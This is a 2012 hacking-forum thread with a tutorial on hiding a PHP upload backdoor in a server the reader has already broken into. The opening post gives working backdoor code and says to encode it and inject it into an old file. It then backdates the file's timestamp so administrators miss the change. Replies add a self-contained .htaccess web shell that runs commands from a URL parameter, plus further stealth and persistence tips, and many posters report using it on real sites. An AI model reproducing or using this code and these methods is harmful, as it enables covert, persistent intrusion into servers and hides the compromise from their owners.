

Forum:[Hack Forums](#)

Thread: [\[TuT\] Hide your Backdoor now => 1Kb \[/TuT\]](#)

joomlafkr - February 14, 2012, 2:41 pm

For educational purposes only.

I felt like writing a tutorial today In this tutorial I will share with you my method to hide a Backdoor in a server.

What do we need?

1. A Shelled Webserver (skiddies , learn to do it !)
2. This tutorial
3. A Php script attached to this tutorial
4. A bite of Intelligence
5. Staying Anonymous use a VPN or SSH Tunnel...

Leh go !

STEP 1 : Finding the target

Easy step , Well you just need to find a forgotten php file(wasn't changed a while ago)

In my case i found a target (common.php) you have to remember the timestamp , you will use it afterwards...

[img]http://www4.picturepush.com/photo/a/7575382/640/7575382.jpg[/img]

STEP 2 : Preparing the php script

Here is the script i used

PHP Code

```
<?php
if (isset ($_GET["passwd"]) and md5($_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b")
{
?>
<body [b]onload=[/b]"command.focus()">
<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>
" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="900000" />
upload: <input name="uploaded" type="file" /><br />
<input type="submit" value="Upload" />
</form>
</body>
<?php
}
$target_path = "./";

$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo ";;";
```

}

?>

You need to modify md5(\$_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b"
with a md5 password (you know how to do it , don't you ?)

now just go to "http://tools.th3-Outl4ws.com/php-crypt/enc.php" or somewhere else and encrypt your script

[img]http://www5.picturepush.com/photo/a/7575433/640/7575433.jpg[/img]

and yeah it's a 1kB code

STEP 3 : Inject the Backdoor

This step is tricky , you need to find some code to delete comments
for example... to save some space.

[img]http://www3.picturepush.com/photo/a/7575431/640/7575431.jpg[/img]

delete that code and inject your 1Kb backdoor

[img]http://www4.picturepush.com/photo/a/7575467/640/7575467.jpg[/img]

Done ? now Save everything and back to your console

STEP 4 : Change the timestamp ;)

Back to your console now write this down

Code touch -t yearmonthdayhourminute filenamefor me it was :

Code touch -t 201108010124 Common.php

[img]http://www1.picturepush.com/photo/a/7575504/640/7575504.jpg[/img]

It worked right ;) no admin could recognize the change ;)

STEP 5 : Test it out ;)

now just write down the path to the php file and type the url on your browser and add a
?passwd=yourpassword

[img]http://www4.picturepush.com/photo/a/7575557/640/7575557.jpg[/img]

STEP 6 : Enjoy it and get back to it to upload the shell ;)

Test it out to see if you can upload your shell...
and enjoy your hidden Backdoor...

Script Download Link

[Original](#)

[Encrypted](#)

Please give some feedback to keep this thread alive ;)

Cheers.

joomlafkr - February 14, 2012, 3:07 pm

Yeah i use this often

and even the brightest admins couldn't find it lol

SpriteZ - February 14, 2012, 3:09 pm

(Feb 14, 2012 04:07 PM)joomlafkr Wrote: [\[CITE\]](#) Yeah i use this often

and even the brightest admins couldn't find it lol

Yeah, but if they know they've been compromised then they can just delete everything and re-upload their original files, though I usually find a way to maintain access.

joomlafkr - February 14, 2012, 3:29 pm

Well i guess if they aren't skilled to fix a security whole !

maybe They can't feel they are compromised !
but yeah it worked for me nearly everywhere and still got my backdoors :)

Best Teemo NA - February 14, 2012, 4:19 pm
Nice tuts mate.

Hooded Robin - February 14, 2012, 4:27 pm

I use this method with WeBaCoo shells all the time and it works like a charm. Footers seem to be a common one you can take advantage of if you want to replicate your shell to every page on the site :p

PS - alternatively you can place a "." in front of your file name which will hide it from most views (like .htaccess files). There is even a person who wrote custom .htaccess files with command execution for ultimate sneakyness as the requests to the file dont show up in logs unless they are totally custom set

RaZa - February 14, 2012, 5:03 pm

This is quite smart, as it creates you are basically adding a php upload script hidden inside one of the old files on the server. Accompanied with touching the date back to the original date, you virtually have a hidden backdoor unless they go through their php files which they will most likely not do as they won't detect any intrusion in the first place.

joomlafkr - February 14, 2012, 5:05 pm

Yep , you got it right mate ;)
being smart is the only way to stay alive nowadays B-)

SIM-659024 - February 14, 2012, 6:26 pm

nothing understand from that all thinks :(

joomlafkr - February 14, 2012, 7:01 pm

It's about hiding an upload script(backdoor) inside a php file.

Just follow the steps....

(Feb 14, 2012 07:26 PM)Warmaster Wrote: [\[CITE\]](#) nothing understand from that all thinks :(
Did you manage to learn smthng from it ??

Nepal Cyber Army - February 21, 2012, 3:51 am

nice tutorial man..

keep up the good work ..

gatopardos - February 21, 2012, 1:13 pm

Yeah that's nice you can also add a geoip clause to further lock down rights.. anyway use webacoo or weeveely no need to rewrite and touch files.. all URL requests are logged.

(Feb 14, 2012 05:27 PM)Hooded Robin Wrote: [\[CITE\]](#) I use this method with WeBaCoo shells all the time and it works like a charm. Footers seem to be a common one you can take advantage of if you want to replicate your shell to every page on the site :p

PS - alternatively you can place a "." in front of your file name which will hide it from most views (like .htaccess files). There is even a person who wrote custom .htaccess files with command execution for ultimate sneakyness as the requests to the file dont show up in logs unless they are totally custom set

How about that.. since you gave me that pdf I will post this here:

Code # Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul -

`http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web Order allow,deny Allow from all # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ## SHELL ## <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>## LLEHS ##`

More here:

Code <https://github.com/wireghoul/htshells> ? ? ?

joomlafkr - February 27, 2012, 2:38 pm

The htshell solution is very interesting but you need to hide the htaccess file somewhere because its size will increase consequently...

(Feb 21, 2012 02:13 PM)gatopardos Wrote: [\[CITE\]](#) Yeah that's nice you can also add a geoip clause to further lock down rights.. anyway use webacoo or weeveely no need to rewrite and touch files.. all URL requests are logged.

How about that.. since you gave me that pdf I will post this here:

Code # Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul -
`http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web Order allow,deny Allow from all # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ## SHELL ## <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>## LLEHS ##`

More here:

Code <https://github.com/wireghoul/htshells> ? ? ?

snake168 - March 5, 2012, 7:03 am

Very useful. And with a little modifications it might be even more stealthier.

gatopardos - March 5, 2012, 8:36 am

jaja yes it can I have included many backdoors in the shell I'm coding although I won't give this to anyone except few people.

HaxOr? - March 5, 2012, 8:58 am

Actually this is really nice .
Smart one.

tux1 - March 5, 2012, 11:55 am

Nice tutorial, bookmarked
you found the hidden easter egg!

Ronnie Coleman - March 22, 2012, 8:33 am

Very nice and well explained.. Thanks!..

games-lol-owned - March 22, 2012, 8:36 am

thanks bro been looking for one off these in a while my mind will be a pro soo when i read all of these things learn very fast see heheh

MrNRG - March 23, 2012, 12:32 am

I appreciate, its nice method. But a skilled admin can detect it anyways by looking the last accessed

php scripts on their server. Touching will just change the modify time not the access time.

Instead installing backdoors in the sql database is a very stealth method.

03storic - March 23, 2012, 3:25 am

(Mar 23, 2012 12:32 AM)MrNRG Wrote: [\[CITE\]](#) I appreciate, its nice method. But a skilled admin can detect it anyways by looking the last accessed php scripts on their server. Touching will just change the modify time not the access time.

Instead installing backdoors in the sql database is a very stealth method.

Mind PMing me a basic template to do that?

joomlafkr - March 23, 2012, 8:13 am

(Mar 23, 2012 12:32 AM)MrNRG Wrote: [\[CITE\]](#) I appreciate, its nice method. But a skilled admin can detect it anyways by looking the last accessed php scripts on their server. Touching will just change the modify time not the access time.

Instead installing backdoors in the sql database is a very stealth method.

You are right !

but i've chosen the uplaod script just beacause it's stealthy ,it uses basic php no passthru() no shell() and it's FUD.

well if you deal with a skilled admin you can just use weevely backdoor and hide it inside the script i used , since weevely handles requests with cookies.

within the access time logs he will just find that a someone requested xxx.php file...!!

noober1001 - March 24, 2012, 12:48 pm

Thanks for this nice trick.

I didn't know about this.

And also thanks for telling here about weevely backdoor.

I just searched about it and it looks pretty cool.

Thanks for this bro.

netwalker37 - March 24, 2012, 1:26 pm

Great tut,will definitely be using this.. Thanks

firaaun - March 25, 2012, 12:07 am

Didnt got much out of it ...still struggling can anyone help ?

joomlafkr - March 25, 2012, 6:19 am

How can we help you? Which step you didn't get?

im a parer - March 25, 2012, 6:39 am

thanks for that man,

very helpful and useful

joomlafkr - March 26, 2012, 5:02 pm

Thank you :D

Hope it comes useful someday !

kornkin1 - March 26, 2012, 6:32 pm

nice i will see what i can do with that thank you!!!

joomlafkr - March 28, 2012, 10:10 am

you are welcome

Hope it comes useful someday !

aditi.jain19 - April 2, 2012, 1:20 pm

very smart tut mate...its really a nice trick to hide our backdoor....

thanks for share.. :) :)

Sho0ter - May 1, 2012, 4:14 pm

nice tutorial bro.Very handy. :) Tested and works fine.Thanks a lot.

joomlafkr - May 6, 2012, 7:22 am

Thanks man , hope you will use it more often !

Actually there are more ways to hide a shell , but i like this one , cause it's more likely undetectable....

literalraise - July 31, 2012, 5:23 am

nice tutorial keep up the good work thank you

theancient - July 31, 2012, 6:32 am

That's encoding, not encryption. Even ioncube would be better than this method.

G0ld3nPh30niX Ash3s - July 31, 2012, 9:28 am

i edited the php file and copied the encrypted code given by you and saved it at the bottom of the file... But when i typed the path in a browser it says "Parse error: syntax error, unexpected '<' in /home/xx/public_html/wp-includes/cache.php on line 568" ... What am i doing wrong.. Plz help.. :)

?Victory - July 31, 2012, 9:37 am

Good Job you did Here my Friend

GLWS Tutorial,

Still I wan the Root Me Kit -.-"

Captnroram - July 31, 2012, 9:56 am

I like this method, it's sneaky enough. Good thinking.

12345xmen - July 31, 2012, 11:04 am

hey thanks for this....now u save all my shell..i dnt need to hack those site which remove my shells :P